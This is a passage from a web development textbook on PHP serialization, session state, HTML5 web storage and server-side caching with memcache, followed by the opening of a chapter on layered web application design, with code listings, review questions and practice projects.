“a:2:{s:4:”size“;a:1:{i:0;d:15.119999999999999;}s:7:”artData“;s:53:”

a:2:{s:4:“date”;s:4:“1967”;s:4:“name”;s:7:“Chicago”;}“;}”;}}i:2;C:5: “Movie”:175:{a:2:{s:5:“media”;s:8:“file.avi”;s:13:“paintingData”;s:1 13:“a:2:{s:4:”size“;a:2:{i:0;i:32;i:1;i:48;}s:7:”artData“;s:50:”a:2: {s:4:“date”;s:4:“1968”;s:4:“name”;s:4:“test”;}“;}”;}}}}}

Although nearly unreadable to most people, this data can easily be used to
reconstitute the object by passing it to unserialize(). If the data above is
assigned to $data, then the following line will instantiate a new object
identical to the original:

$picassoClone = unserialize($data);

Note
Where are serialized objects stored? They are stored in the same directory
that the page is executing from.

16.5.1 Application of Serialization
Since each request from the user requires objects to be reconstituted, using
serialization to store and retrieve objects can be a rapid way to maintain state
between requests. At the end of a request you store the state in a serialized
form, and then the next request would begin by deserializing it to reestablish
the previous state.

In the next section, you will encounter session state, and will discover that
PHP serializes objects for you in its implementation of session state.



16.6 Session State
All modern web development environments provide some type of session
state mechanism. Session state is a server-based state mechanism that lets
web applications store and retrieve objects of any type for each unique user
session. That is, each browser session has its own session state stored as a
serialized file on the server, which is deserialized and loaded into memory as
needed for each request, as shown in Figure 16.8 .



Figure 16.8 Session state
Figure 16.8 Full Alternative Text
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Exercise
Using Sessions

Because server storage is a finite resource, objects loaded into memory are
released when the request completes, making room for other requests and
their session objects. This means there can be more active sessions on disk
than in memory at any one time.

Session state is ideal for storing more complex (but not too complex … more
on that later) objects or data structures that are associated with a user session.
The classic example is a shopping cart. While shopping carts could be
implemented via cookies or query string parameters, it would be quite
complex and cumbersome to do so.

In PHP, session state is available to the developer as a superglobal associative
array, much like the $_GET, $_POST, and $_COOKIE arrays.3 It can be accessed
via the $_SESSION variable, but unlike the other superglobals, you have to
take additional steps in your own code in order to use the $_SESSION
superglobal.

To use sessions in a script, you must call the session_start() function at
the beginning of the script as shown in Listing 16.5. In this example, we
differentiate a logged-in user from a guest by checking for the existence of
the $_SESSION['user'] variable.

Listing 16.5 Accessing session state
<?php 

session_start(); 

if ( isset($_SESSION['user']) ) { 

   // User is logged in 

} 

else { 

   // No one is logged in (guest) 

} 

?>



Session state is typically used for storing information that needs to be
preserved across multiple requests by the same user. Since each user session
has its own session state collection, it should not be used to store large
amounts of information because this will consume very large amounts of
server memory as the number of active sessions increase.

As well, since session information does eventually time out, one should
always check if an item retrieved from session state still exists before using
the retrieved object. If the session object does not yet exist (either because it
is the first time the user has requested it or because the session has timed
out), one might generate an error, redirect to another page, or create the
required object using the lazy initialization approach as shown in Listing
16.6. In this example ShoppingCart is a user-defined class. Since PHP
sessions are serialized into files, one must ensure that any classes stored into
sessions can be serialized and deserialized, and that the class definitions are
parsed before calling session_start().

Listing 16.6 Checking session
existence
<?php 

include_once(“ShoppingCart.class.php”); 

session_start(); 

// always check for existence of session object before accessing it

if ( !isset($_SESSION[“Cart”]) ) { 

   // session variables can be strings, arrays, or objects, but  

   // smaller is better 

   $_SESSION[“Cart”] = new ShoppingCart(); 

} 

$cart = $_SESSION[“Cart”]; 

?>

Extended Example
This example demonstrates how session state can be used to preserve



information from request to request. Here a simple one-page application
requires users to choose a username and then engage in a simple chat
application. Notice that there is no HTML markup: all the markup is
generated programmatically.

The code might look complicated, but it really is quite straightforward once
you grasp that the code is generating one of two different forms: a user name
entry form if the session variable doesn't exist or a chat form if the session
does exist. Thus there are two types of user-entered data that can be posted to
the page: the user's name or a chat message.



16.6-1 Full Alternative Text



16.6-2 Full Alternative Text

As you can see in the code, the session variable not only holds the user's



display name but is also used to determine (at ) whether a user is “logged
in,” and therefore whether to show a chat window or the username selection
screen.

If the $_SESSION['user'] isn't set and no $_POST data has been received,
then the chat file is emptied and the user name entry form is displayed (at 
). If $_POST data has been received and the $_SESSION['user'] isn't set, then
we have received a user name. We need to save the user name in session state
and display the chat form ( ).

Once we get future $_POST requests, the user name will be saved in session
state. The code can then assume the $_POST request contains a chat message.
It writes the user name and chat message to a chat file ( ).

In order to test functionality, we have also added a logout feature. Submitting
a logout chat message will clear the session and re-request the page ( ),
which will mean the user name entry form will be redisplayed.

To make this script truly useful we should sanitize inputs and manage the
server-side storage more thoughtfully. Nonetheless, you should see how the
user name stays persistent across multiple posts and page refreshes,
demonstrating how sessions can allow you to easily manage and distinguish
one user of your page from another.

16.6.1 How Does Session State
Work?
Typically when our students learn about session state, their first reaction is to
say “Why didn't we learn this first? This solves all our problems!” Indeed
because modern development environments such as ASP.NET and PHP
make session state remarkably easy to work with, it is tempting to see session
state as a one-stop solution to all web state needs. However, if we take a
closer look at how session state works, we will see that session state has the
same limitations and issues as the other state mechanisms examined in this



chapter.

The first thing to know about session state is that it works within the same
HTTP context as any web request. The server needs to be able to identify a
given HTTP request with a specific user request. Since HTTP is stateless,
some type of user/session identification system is needed. Sessions in PHP
(and ASP.NET) are identified with a unique session ID. In PHP, this is a
unique 32-byte string that is by default transmitted back and forth between
the user and the server via a session cookie (see Section 16.4.1 above), as
shown in Figure 16.9 .

Figure 16.9 Session IDs



Figure 16.9 Full Alternative Text

As we learned earlier in the section on cookies, users may disable cookie
support in their browser; for that reason, PHP can be configured (in the
php.ini file) to instead send the session ID within the URL path.

Remember
Session state relies on session IDs that are transmitted via cookies or via
embedding in the URL path.

So what happens besides the generating or obtaining of a session ID after a
new session is started? For a brand new session, PHP assigns an initially
empty dictionary-style collection that can be used to hold any state values for
this session. When the request processing is finished, the session state is
saved to some type of state storage mechanism, called a session state provider
(discussed in next section). Finally, when a new request is received for an
already existing session, the session's dictionary collection is filled with the
previously saved session data from the session state provider.

16.6.2 Session Storage and
Configuration
You may have wondered why session state providers are necessary. In the
example shown in Figure 16.8 , each user's session information is kept in
serialized files, one per session (in ASP.NET, session information is by
default not stored in files, but in memory). It is possible to configure many
aspects of sessions including where the session files are saved. For a
complete listing refer to the session configuration options in php.ini.

The decision to save sessions to files rather than in memory (like ASP.NET)
addresses the issue of memory usage that can occur on shared hosts as well as
persistence between restarts. Many sites run in commercial hosting



environments that are also hosting many other sites. For instance, one of the
book author's personal sites (randyconnolly.com, which is hosted by
discountasp.net) is, according to a Reverse IP Domain Check, on a server that
was hosting 535 other sites when this chapter was being edited. Inexpensive
web hosts may sometimes stuff hundreds or even thousands of sites on each
machine. In such an environment, the server memory that is allotted per web
application will be quite limited. And remember that for each application,
server memory may be storing not only session information, but pages being
executed, and caching information, as shown in Figure 16.10 .

Figure 16.10 Applications and
server memory

Figure 16.10 Full Alternative Text

http://randyconnolly.com
http://discountasp.net


On a busy server hosting multiple sites, it is not uncommon for the Apache
application process to be restarted on occasion. If the sessions were stored in
memory, the sessions would all expire, but as they are stored into files, they
can be instantly recovered as though nothing happened. This can be an issue
in environments where sessions are stored in memory (like ASP.NET), or a
custom session handler is involved. One downside to storing the sessions in
files is a degradation in performance compared to memory storage, but the
advantages, it was decided, outweigh those challenges.

Dive Deeper
Higher-volume web applications often run in an environment in which
multiple web servers (also called a web farm) are servicing requests. Each
incoming request is forwarded by a load balancer to any one of the available
servers in the farm. In such a situation the in-process session state will not
work, since one server may service one request for a particular session, and
then a completely different server may service the next request for that
session, as shown in Figure 16.11 .



Figure 16.11 Web farm
Figure 16.11 Full Alternative Text

There are a number of different ways of managing session state in such a web
farm situation, some of which can be purchased from third parties. There are
effectively two categories of solution to this problem.

1. Configure the load balancer to be “session aware” and relate all requests
using a session to the same server.

2. Use a shared location to store sessions, either in a database, memcache
(covered in the next section), or some other shared session state
mechanism as seen in Figure 16.12 .

Figure 16.12 Shared session
provider



Figure 16.12 Full Alternative Text

Using a database to store sessions is something that can be done
programmatically, but requires a rethinking of how sessions are used. Code
that was written to work on a single server will have to be changed to work
with sessions in a shared database, and therefore is cumbersome. The other
alternative is to configure PHP to use memcache on a shared server (covered
in Section 16.8). To do this you must have PHP compiled with memcache
enabled; if not, you may need to install the module. Once installed, you must
change the php.ini on all servers to utilize a shared location, rather than local
files as shown in Listing 16.7.

Listing 16.7 Configuration in
php.ini to use a shared location for
sessions
[Session] 

; Handler used to store/retrieve data. 

session.save_handler = memcache 

session.save_path = “tcp://sessionServer:11211”



16.7 HTML5 Web Storage
Web storage is a new JavaScript-only API introduced in HTML5.4 It is
meant to be a replacement (or perhaps supplement) to cookies, in that web
storage is managed by the browser; but unlike cookies, web storage data is
not transported to and from the server with every request and response. In
addition, web storage is not limited to the 4K size barrier of cookies; the
W3C recommends a limit of 5MB but browsers are allowed to store more per
domain. Currently web storage is supported by current versions of the major
browsers, including IE8 and above. However, since JavaScript, like cookies,
can be disabled on a user's browser, web storage should not be used for
mission-critical application functions.

Hands-On Exercises Lab 16
Exercise
HTML5 Web Storage

Just as there were two types of cookies, there are two types of global web
storage objects: localStorage and sessionStorage. The localStorage
object is for saving information that will persist between browser sessions.
The sessionStorage object is for information that will be lost once the
browser session is finished.

These two objects are essentially key-value collections with the same
interface (i.e., the same JavaScript properties and functions).

16.7.1 Using Web Storage
Listing 16.8 illustrates the JavaScript code for writing information to web



storage. Do note that it is not PHP code that interacts with the web storage
mechanism but JavaScript. As demonstrated in the listing, there are two ways
to store values in web storage: using the setItem() function, or using the
property shortcut (e.g., sessionStorage.FavoriteArtist).

Listing 16.8 Writing web storage
<form … > 

   <h1>Web Storage Writer</h1> 

   <script language=“javascript” type=“text/javascript”> 

        if (typeof (localStorage) === “undefined” || 

               typeof (sessionStorage) === “undefined”) { 

            alert(“Web Storage is not supported on this browser…”);

        } 

        else { 

            sessionStorage.setItem(“TodaysDate”, new Date()); 

            sessionStorage.FavoriteArtist = “Matisse”; 

            localStorage.UserName = “Ricardo”; 

            document.write(“web storage modified”); 

        } 

   </script> 

   <p><a href=“WebStorageReader.php”>Go to web storage reader</a></p>

</form>

Listing 16.9 demonstrates that the process of reading from web storage is
equally straightforward. The difference between sessionStorage and
localStorage in this example is that if you close the browser after writing
and then run the code in Listing 16.8, only the localStorage item will still
contain a value.

Listing 16.9 Reading web storage
<form id=“form1” runat=“server”> 

   <h1>Web Storage Reader</h1> 

   <script language=“javascript” type=“text/javascript”> 

        if (typeof (localStorage) === “undefined” || 

               typeof (sessionStorage) === “undefined”) { 

            alert(“Web Storage is not supported on this browser…”);

        } 

        else { 



            var today = sessionStorage.getItem(“TodaysDate”); 

            var artist = sessionStorage.FavoriteArtist; 

            var user = localStorage.UserName; 

            document.write(“date saved=” + today); 

            document.write(“<br/>favorite artist=” + artist); 

            document.write(“<br/>user name = ” + user); 

        } 

   </script>    

</form>

16.7.2 Why Would We Use Web
Storage?
Looking at the two previous listings you might wonder why we would want
to use web storage. Cookies have the disadvantage of being limited in size,
potentially disabled by the user, vulnerable to XSS and other security attacks,
and being sent in every single request and response to and from a given
domain. On the other hand, the fact that cookies are sent with every request
and response is also their main advantage: namely, that it is easy to
implement data sharing between the client browser and the server.
Unfortunately with web storage, transporting the information within web
storage back to the server is a relatively complicated affair involving the
construction of a web service on the server (see Chapter 19) and then using
asynchronous communication via JavaScript to push the information to the
server.

A better way to think about web storage is not as a cookie replacement but as
a local cache for relatively static items available to JavaScript. One practical
use of web storage is to store static content downloaded asynchronously such
as XML or JSON from a web service in web storage, thus reducing server
load for subsequent requests by the session.

Figure 16.13 illustrates an example of how web storage could be used as a
mechanism for reducing server data requests, thereby speeding up the display
of the page on the browser, as well as reducing load on the server.





Figure 16.13 Using web storage
Figure 16.13 Full Alternative Text



16.8 Caching
Caching is a vital way to improve the performance of web applications. As
we learned back in Chapter 2, your browser uses caching to speed up the user
experience by using locally stored versions of images and other files rather
than re-requesting the files from the server. While important, from a server-
side perspective, a server-side developer only has limited control over
browser caching (see Pro Tip).

Pro Tip
In the HTTP protocol there are headers defined that relate exclusively to
caching. These include the Expires, Cache-Control, and Last-Modified
headers. In PHP one can set any HTTP header explicitly using the header()
function, but to ensure consistency, additional functions have been provided,
which manage headers related to caching.

The function session_cache_limiter() allows you to set the cache. The
function session_cache_expire() provides control over the default expiry
time (180 seconds by default). By using these two functions one can
determine how and when the browser caches pages locally.

There is a way, however, to integrate caching on the server side. Why is this
necessary? Remember that every time a PHP page is requested, it must be
fetched, parsed, and executed by the PHP engine, and the end result is HTML
that is sent back to the requestor. For the typical PHP page, this might also
involve numerous database queries and processing to build. If this page is
being served thousands of times per second, the dynamic generation of that
page may become unsustainable.

One way to address this problem is to cache the generated markup in server
memory so that subsequent requests can be served from memory rather than
from the execution of the page.



There are two basic strategies to caching web applications. The first is page
output caching, which saves the rendered output of a page or user control and
reuses the output instead of reprocessing the page when a user requests the
page again. The second is application data caching, which allows the
developer to programmatically cache data.

16.8.1 Page Output Caching
In this type of caching, the contents of the rendered PHP page (or just parts of
it) are written to disk for fast retrieval. This can be particularly helpful
because it allows PHP to send a page response to a client without going
through the entire page processing life cycle again (see Figure 16.14 ). Page
output caching is especially useful for pages whose content does not change
frequently but which require significant processing to create.



Figure 16.14 Page output
caching

Figure 16.14 Full Alternative Text
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There are two models for page caching: full page caching and partial page
caching. In full page caching, the entire contents of a page are cached. In
partial page caching, only specific parts of a page are cached while the other
parts are dynamically generated in the normal manner.

Page caching is not included in PHP by default, which has allowed a
marketplace for free and commercial third-party cache add-ons such as
Alternative PHP Cache (open source) and Zend (commercial) to flourish.
However, one can easily create basic caching functionality simply by making
use of the output buffering and time functions. The mod_cache module that
comes with the Apache web server engine is the most common way websites
implement page caching. This separates server tuning from your application
code, simplifying development, and leaving cache control up to the web
server rather than the application developer. The details of configuring that
Apache cache are described in Chapter 22.

It should be stressed that it makes no sense to apply page output caching to
every page in a site. However, performance improvements can be gained (i.e.,
reducing server loads) by caching the page output of especially busy pages in
which the content is the same for all users.

16.8.2 Application Data Caching
One of the biggest drawbacks with page output caching is that performance
gains will only be had if the entire cached page is the same for numerous
requests. However, many sites customize the content on each page for each
user, so full or partial page caching may not always be possible.



An alternate strategy is to use application data caching in which a page will
programmatically place commonly used collections of data that require time-
intensive queries from the database or web server into cache memory, and
then other pages that also need that same data can use the cache version
rather than re-retrieve it from its original location.

While the default installation of PHP does not come with an application
caching ability, a widely available free PECL extension called memcache is
widely used to provide this ability.5 Listing 16.10 illustrates a typical use of
memcache.

Listing 16.10 Using memcache
<?php 

// create connection to memory cache 

$memcache = new Memcache; 

$memcache->connect('localhost', 11211) 

   or die (“Could not connect to memcache server”); 

$cacheKey = 'topCountries'; 

/* If cached data exists retrieve it, otherwise generate and cache

   it for next time */ 

    $countries = $memcache->get($cacheKey); 

    if ( ! isset($countries) ) { 

   // since every page displays list of top countries as links 

   // we will cache the collection 

   

   // first get collection from database 

   $cgate = new CountryTableGateway($dbAdapter); 

   $countries = $cgate->getMostPopular(); 

   // now store data in the cache (data will expire in 240 seconds)

   $memcache->set($cacheKey, $countries, false, 240) 

       or die (“Failed to save cache data at the server”); 

} 

// now use the country collection 

displayCountryList($countries); 

?>

It should be stressed that memcache should not be used to store large
collections. The size of the memory cache is limited, and if too many things
are placed in it, its performance advantages will be lost as items get paged in
and out. Instead, it should be used for relatively small collections of data that



are frequently accessed on multiple pages.



16.9 Chapter Summary
Most websites larger than a few pages will eventually require some manner
of persisting information on one page (generally referred to as “state”), so
that it is available to other pages in the site. This chapter examined the
options for managing state using what is available to us in HTTP (query
strings, the URL, and cookies) as well as those for managing state on the
server (session state). The chapter finished with caching, an important
technique for optimizing real-world web applications.

16.9.1 Key Terms
application data caching

cache

cookies

HttpOnly cookie

page output caching

persistent cookies

serialization

session cookie

session state

URL rewriting

web storage



16.9.2 Review Questions
1. 1. Why is state a problem for web applications?

2. 2. What are HTTP cookies? What is their purpose?

3. 3. Describe exactly how cookies work.

4. 4. What is the difference between session cookies and persistent
cookies? How does the browser know which type of cookie to create?

5. 5. Describe best practices for using persistent cookies.

6. 6. What is web storage in HTML5? How does it differ from HTTP
cookies?

7. 7. What is session state?

8. 8. Describe how session state works.

9. 9. In PHP, how are sessions stored between requests?

10. 10. How does object serialization relate to stored sessions in PHP?

11. 11. What is a web farm? What issues do they create for session state
management?

12. 12. What is caching in the context of web applications? What benefit
does it provide?

13. 13. What is the difference between page output caching and application
data caching?

16.9.3 Hands-On Practice



Project 1: CRM Admin

Difficulty Level: Basic

Overview
Demonstrate your ability to work with Cookies in PHP. You will create and
read both persistent and session cookies, as shown in Figure 16.15 .





Figure 16.15 Completed
Project 1

Figure 16.15 Full Alternative Text
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Instructions
1. You have been provided with a starting file named chapter16-

project1.php along with a second page named other-page.php. The first
file will be used to create the cookies as well as read them; the second
page will verify that the cookies are available across other pages in the
same domain. Examine the <form> element in chapter16-project1.php
and note that the action is a file named make-cookies.php.

2. Create a new file named make-cookies.php. This file will contain no
markup: it will just save the form data (the values of the two <select>
lists) as cookie values.

3. After checking for the existence of the relevant form data, save the
theme value as a persistent cookie using the setcookie() function. Set
the expiry to be a day from the current time. You may need to set the
domain value, which is the fifth parameter to the setcookie() function.
Save the philosopher value as a session cookie by setting the expiry to 0.
After setting the cookies, redirect back to chapter16-project1.php using a
header(“Location: chapter16-project1.php”) function call.



4. Within the “Reading the Cookie” card in chapter16-project1.php, read
and display the contents of these two cookies. Be sure to display an
appropriate message of the cookies are not available (see Figure 16.15 ).

5. Add the same read and display cookie code to other-page.php. Notice
that the link for Remove Cookies is for a file named remove-cookie.php.

6. Create a new file named remove-cookie.php. This file will contain no
markup: it will just remove the cookies. To do this, use the unset()
function on the two cookie values within the $_COOKIES array. As well,
use the setcookie() function but with an expiry date in the past.
Afterwards, redirect to chapter16-project1.php.

Test
1. You may need to close the browser entirely to test your session cookies.

Project 2: Art Store

Difficulty Level: Intermediate

Overview
Building on the PHP pages already created in earlier chapters, you will add
the functionality to implement a favorite paintings list using a session
variable, as shown in Figure 16.16 .





Figure 16.16 Completed
Project 2

Figure 16.16 Full Alternative Text

Hands-On Exercises
Project 16.2

Instructions
1. Begin by finding the project folder you have created for the Art Store.

Session integration requires adding the session_start() function call
to all pages that will use session data.

2. Both browse-painting.php and single-painting.php contain Add to
Favorites links styled as buttons. Modify these links so that clicking on
them will take the user to addToFavorites.php. These links need to
provide indicate which painting to add to the favorites list via a query
string. To make our view favorites page easier to implement, include the
PaintingID, ImageFileName, and Title fields in the query string.

3. Create a new blank page, addToFavorites.php, which will handle a GET
request to add a painting to the favorites list. This file will contain no
markup: it will check for the existence of the relevant query string fields,
and then add the painting information to session state.

4. The favorites list will be represented as an array of arrays. Each favorite
item will be an array that contains the PaintingID, ImageFileName, and
Title fields for the painting. You will need to retrieve the favorites



array from session state (or create it as a blank array if it doesn't exist),
and then add the array for the new favorite item to the favorites array.
You must then store the modified favorites array back in session state.
After this, redirect to view-favorites.php using the header() function.

5. Modify the view-favorites.php page so that it displays the content of the
favorites list in a table. For each painting in the favorites list, display a
small version of the painting (from the images/art/works/small-square
folder) and its title. Make the title a link to single-painting.php with the
appropriate querystring.

6. Change the button links that will remove each painting from the
favorites list as well as the button link to empty all the favorites from the
list. These will be links to remove-favorites.php; for the remove single
painting links, the PaintID of the painting to remove will be provided as
a query string parameter.

7. Create a new blank page, remove-favorites.php, which will handle a
GET request to remove a single painting to the favorites list (or remove
all paintings). This file will contain no markup: it will check for the
existence of the relevant query string fields, and then remove the
specified paintings from the favorites array in session state. After
removing, redirect back to the view-favorites.php page.

8. Modify the art-header.inc.php file to display a count of the items in the
favorites list. Use the class “ui red mini label”.

Test
1. Use the browse-painting.php page as the starting point. Test the add to

favorites functionality with the browser. Click on any painting to view
the single-painting.php page and test the add to favorites functionality.
Add several items to the list.

2. Test the remove functionality.



Project 3: Art Store

Difficulty Level: Intermediate

Overview
This project utilizes page caching to improve the performance of your Art
Store project.

Hands-on Exercises
Project 16.3

Instructions
1. Download and install the PECL extension, which supports memcache.

2. The browse-gallery.php page has three filters that require three separate
SQL queries (from the tables Artists, Shapes, and Galleries). The data in
these tables would likely change very infrequently. We can improve the
performance of this page for all users if we cache the data from these
three tables.

3. Write code that either retrieves from or stores to the cache the data for
these three tables in the browse-gallery.php page. Refer to Listing 16.10
for an example of this logic. Hint: currently the page calls the getAll()
method from ArtistDB, GalleryDB, and ShapeDB classes. Instead of
calling the getAll() method, check if they already exist in memcache.
If they do, then populate the $artists, $galleries, and $shapes arrays
from memcache; if they don't, then call the getAll() methods as



normal, but after retrieving the data from the database, save them in
memcache.

Instructions
1. Test the page by visiting the browse-gallery.php page, which should

save the data in memcache.

2. Turn off your database server, or temporarily rename the artist, shape,
and gallery tables to break any queries. Re-request the browse-
gallery.php page, and it should display the cached data.

3. Wait the amount of time you specified in cache, and revisit the page. If
the SQL database is still offline, you should see an error.

4. Turn the database server back on (or rename the tables) and confirm that
everything is running as expected.
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17 Web Application Design



Chapter Objectives
In this chapter you will learn …

About software design principles specific to web applications

How design patterns provide modular solutions to common problems

Key web application design patterns

As small projects grow into larger real-world ones, they experience the
weight of real-world requirement changes, which include new feature
requests, changes in technology, turnover in application developers, and
changes in user interfaces. Simple PHP and JavaScript scripts are often
difficult to adapt to these changing requirements. This chapter, therefore,
covers some important web application design theory and best practices that
can help make your web applications more adaptable and maintainable, and
thus ultimately save development, money, and time.



17.1 Real-World Web Software
Design
Learning how to develop web applications using a web development
language such as PHP is a substantial topic. The previous 16 chapters
together constitute a substantial number of pages, concepts, diagrams, and
words. Yet in some ways, these previous chapters provide only a foundation.
Many web applications go substantially beyond this foundation. One of the
most important ways in which this is true is the area of software design.

Software design can mean many things. In general, it is used to refer to the
planning activity that happens between gathering requirements and actually
writing code. There is enough literature on this topic for a trilogy of
textbooks on the matter, necessitating that we approach the topic from a
practical perspective. What this chapter will do is provide an overview of
some of the typical approaches used in the software design of web
applications and partially implement a class-based software architecture for
the server-side that will illustrate several (but certainly not all) software
design patterns typically used in web applications.

17.1.1 Challenges in Designing Web
Applications
Many aspects of web applications are like any other software application;
there is a user interface, there is data (typically residing within a database),
and there is interaction with other software services such as operating system
resources. But as been discussed in previous chapters, web applications are
unique in that they are stateless, and that each page in a site is actually a
separate, unique application (for instance, see Figure 16.1 in the previous
chapter). Furthermore, many pages only fetch and display data, and if they do
modify data, they simply make the modification and redisplay the changed



data.

Both these facts affect the type of design complexity required for many sites.
That is, since there is limited state shared between requests and between
pages and since many pages have a relatively straightforward task to perform,
it is quite possible to create complex web applications with little to no class
design. Indeed, many PHP developers still develop in a way not that different
from what we have done in the past several chapters: that is, with few if any
classes defined and perhaps grouping similar functions in external include
files as a way to achieve some code reuse and modularity between pages. We
will refer to this as the page-oriented development approach, in that each
page contains most of the programming code it needs to perform its
operations. For sites with few pages and few requirements, such an approach
is quite acceptable. Sometimes the best way to reach the solution to a
problem is indeed via the shortest path.

However, there are other types of sites which have many more requirements
(in software design these are often referred to as use cases). There very well
may be dozens and dozens, or even hundreds, of use case descriptions that
necessitate the efforts of several or many developers working over a
substantial time frame to implement them all. It is when working on this type
of web application that the page-oriented approach can hinder development,
especially in the ability of developers to manage changes.

Real software projects are notoriously vulnerable to shifting requirements;
web projects are probably even more so. What this means is that the
functionality for a web application is rarely completely specified before
development begins. New features will be added and other features will be
dropped. The data model and its storage requirements will change. As the
project moves through the software development life cycle, the execution
environment will change from the developers' laptops to a testing server, a
production server, or perhaps a farm of web servers. The developer may test
initially against a local MySQL database and migrate to a production-quality
MySQL Enterprise edition, and then after a company merger, migrate again
to an Oracle database. Years later, after the amount of gathered data balloons
exponentially, the site might migrate some of its data to a non-SQL database
such as MongoDB. Weeks before alpha testing, the client may make a change



that necessitates working with an external web service rather than a local
database for some information. Usability analysis may necessitate a
substantial reworking of the pages' user interface. As nicely summarized by
Nicholas Zakus:

“The key [to properly designing websites] is to acknowledge from the
start that you have no idea how this [site you are developing] will grow.
When you accept that you don't know everything, you begin to design
the system defensibly.”

High Performance JavaScript Websites (O'Reilly, 2010)

It is in this type of web development environment that rapid ad-hoc design
practices may cause more harm than benefit, since rapidly thought-out
systems are rarely able to handle unforeseen changes in an elegant way. It is
in this environment that following proper software design principles begins to
pay handsome dividends. Spending the time to create a well-designed
application infrastructure up front can make your web application easier to
modify and maintain, easier to grow and expand in functionality, less prone
to bugs, and thus, ultimately, in the long run easier to create. For these
reasons, many web developers make use of a variety of software design
principles and patterns.



17.2 Principle of Layering
Martin Fowler in his hugely influential 2003 book Patterns of Enterprise
Application Architecture says that layering “is one of the most common
techniques that software designers use to break apart a complicated software
system.”1 This book has also referenced the layering concept back in Chapter
2 in reference to the network layer model.

17.2.1 What Is a Layer?
A layer, in the context of application development, is simply a group of
classes that are functionally or logically related; that is, it is a conceptual
grouping of classes. Using layers is a way of organizing your software design
into groups of classes that fulfill a common purpose. A layer is thus not a
thing, but an organizing principle.

The reason why so many software developers have embraced layers as the
organizing principle of their application designs is that a layer is not just a
random grouping of classes. Rather, each layer in an application should
demonstrate cohesion (i.e., the classes should roughly be “about” the same
thing and have a similar level of abstraction). Cohesive layers and classes are
generally easier to understand, reuse, and maintain.

The goal of layering is to distribute the functionality of your software among
classes so that the coupling of a given class to other classes is minimized.
Coupling refers to the way in which one class is connected, or coupled, to
other classes. When a given class uses another class, it is dependent upon
how that class's public interface is defined; any changes made to the used
class's interface may affect the class that is dependent upon it. When an
application's classes are highly coupled, changes in one class may affect
many others. As coupling is reduced, a design will become more
maintainable and extensible.

In the layered design approach, each class within the layer has a limited



number of dependencies. A dependency (also referred to in UML as the uses
relationship) is a relationship between two elements where a change in one
affects the other. In the illustration given in Figure 17.1 , the various layers
have dependencies with classes only in layers “below” them, that is, with
layers whose abstractions are more “lower level” or perhaps more dependent
upon externalities such as databases or web services.

Figure 17.1 Visualizing layers



Figure 17.1 Full Alternative Text

Please note what a dependency means in regard to layers. It means that the
classes in a layer “above” use classes and methods in the layer(s) “below” it,
but not vice versa. Indeed, if the layers have dependencies with each other,
then we lose entirely the benefits of layering.

Finally, it should also be mentioned that some authors use the term “tier” in
the same sense that we are using the term “layer.” However, most
contemporary writing on software architecture and design tends to use the
term tier in a completely different sense. In this other sense, a tier refers to a
processing boundary.

These different tiers most often refer to different places in a network. For
example, a typical web application can be considered a three-tier architecture:
the user's workstation is the presentation tier, the web server is the application
tier, and the DBMS running on a separate data server is the database tier, as
shown in Figure 17.2 . The rest of the chapter will use the word tier in this
latter sense, and use the word layer when referring to the conceptual grouping
of classes within an application.



Figure 17.2 Visualizing tiers
Figure 17.2 Full Alternative Text

17.2.2 Consequences of Layering
Designing an application using the principle of layering has many
advantages. The most important of these is that the web application should be
more maintainable and adaptable to change since the overall coupling in the
application has been lowered. If there is low coupling between the layers
along with high cohesion within a layer, then a developer should be able to
modify, extend, or enhance the layer without unduly affecting the rest of the
application.



For instance, by centralizing all the database code in a few classes within a
data access layer, if the application at some future point switches from
MySQL to Oracle or from the mysqli extension to PDO, then none of the
PHP pages (or indeed other classes) will need to be changed: only the few
classes within the layer that are directly coupled to mysqli will need
changing. The cost for such flexibility lies in the time it takes to properly
design and implement your software up front, rather than use rapid
prototypes, which cannot easily handle such changes, and would require
modifying code all over your application (referred to as “shotgun surgery” in
Fowler's Refactoring2).

When an application has a reliable and clearly specified application
architecture, much of the page's processing will move from the page to the
classes within the layers. This has another clear benefit: it significantly
reduces the code in the presentation layer. For instance, to retrieve the related
records from the Artist and Painting tables, our PHP page might have the
following code:

// get a specific artist and paintings for that artist

$gate = new ArtistGateway(); 

$artist = $gate->findById($id); 

$gate = new PaintingGateway(); 

$paintings = $gate->findForArtist($artist); 

// display this information 

foreach ($paintings as $art) { 

   echo $art->Title . “ by ” . $artist->LastName; 

}

By moving all the data access details to other classes (as can be seen here),
less code is required in the actual PHP pages, thus simplifying them and
making them more maintainable.

Another benefit of layering is that a given layer may be reusable in other
applications, especially if it is designed with reuse in mind. For instance, one
of the authors has used a more complex version of the data access layers that
are implemented in this chapter in many other web applications. Finally,
another benefit of layers is that application functionality contained within a
layer can be tested separately and independently of other layers.



Note
You may notice that some of the code examples in this chapter do not follow
the usual naming conventions for class properties. That is, up to now,
properties within a class have begun with a lowercase letter, but here in this
chapter they begin with an uppercase letter. Why?

The reason for this change is as follows. Later in Section 17.4.4 of this
chapter, you will learn how to create domain classes that use the PHP magic
   get() and    set() functions. These magic functions eliminate the need
to explicitly define getter and setter functions for each property in a class.
Furthermore, this section's example code defines the domain property names
automatically, using the field names in the underlying database table. Thus,
because the field names in the book's sample databases begin with uppercase
letters, the property names in the domain classes also begin with uppercase
letters.

There are, however, some disadvantages to using layers. The numerous layers
of abstraction can make the resulting code hard to understand at first,
especially for new developers brought into a project, who may not yet
understand the overall design. Another disadvantage of using layers is that
the extra levels of abstraction might incur a performance penalty at run time.
However, the time costs of extra object communication within a computer are
insignificant in the context of a server tuned to handle high traffic loads.

17.2.3 Common Layering Schemes
As Eric Evans noted in his Domain-Driven Design,3 through experience and
convention the object-oriented software development industry has converged
on layered architectures in general, along with a set of fairly standard layers,
albeit with nonstandardized names. These layers are shown in Table 17.1.

Table 17.1 Principal Software



Layers
Layer Description

Presentation
Principally concerned with the display of
information to the user, as well as interacting
with the user.

Domain/Business

The main logic of the application. Some
developers call this the business layer since it is
modeling the rules and processes of the
business for which the application is being
written.

Data Access

Communicates with the data sources used by
the application. Often a database, but could be
web services, text files, or email systems.
Sometimes called the technical services layer.

The most common layering scheme is the two-layer model, in which data
access details are contained within a set of classes typically called a data
access layer; the presentation layer interacts directly with the classes in this
layer as shown in Figure 17.3 .



Figure 17.3 Two-layer model
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The sample data access layer that we will create later in this chapter will
contain all the PDO programming. In a two-layer model, each table typically
will have a matching class responsible for CRUD (create, retrieve, update,
and delete) functionality for that table. Some authors refer to such classes as
data access objects (DAO) or as table gateways.

The advantage of the two-layer model is that it is relatively easy to
understand and implement. Web applications tend be very database-oriented
in that many are simply front ends for the display of database information. As
such, the two-layer model is a natural fit.

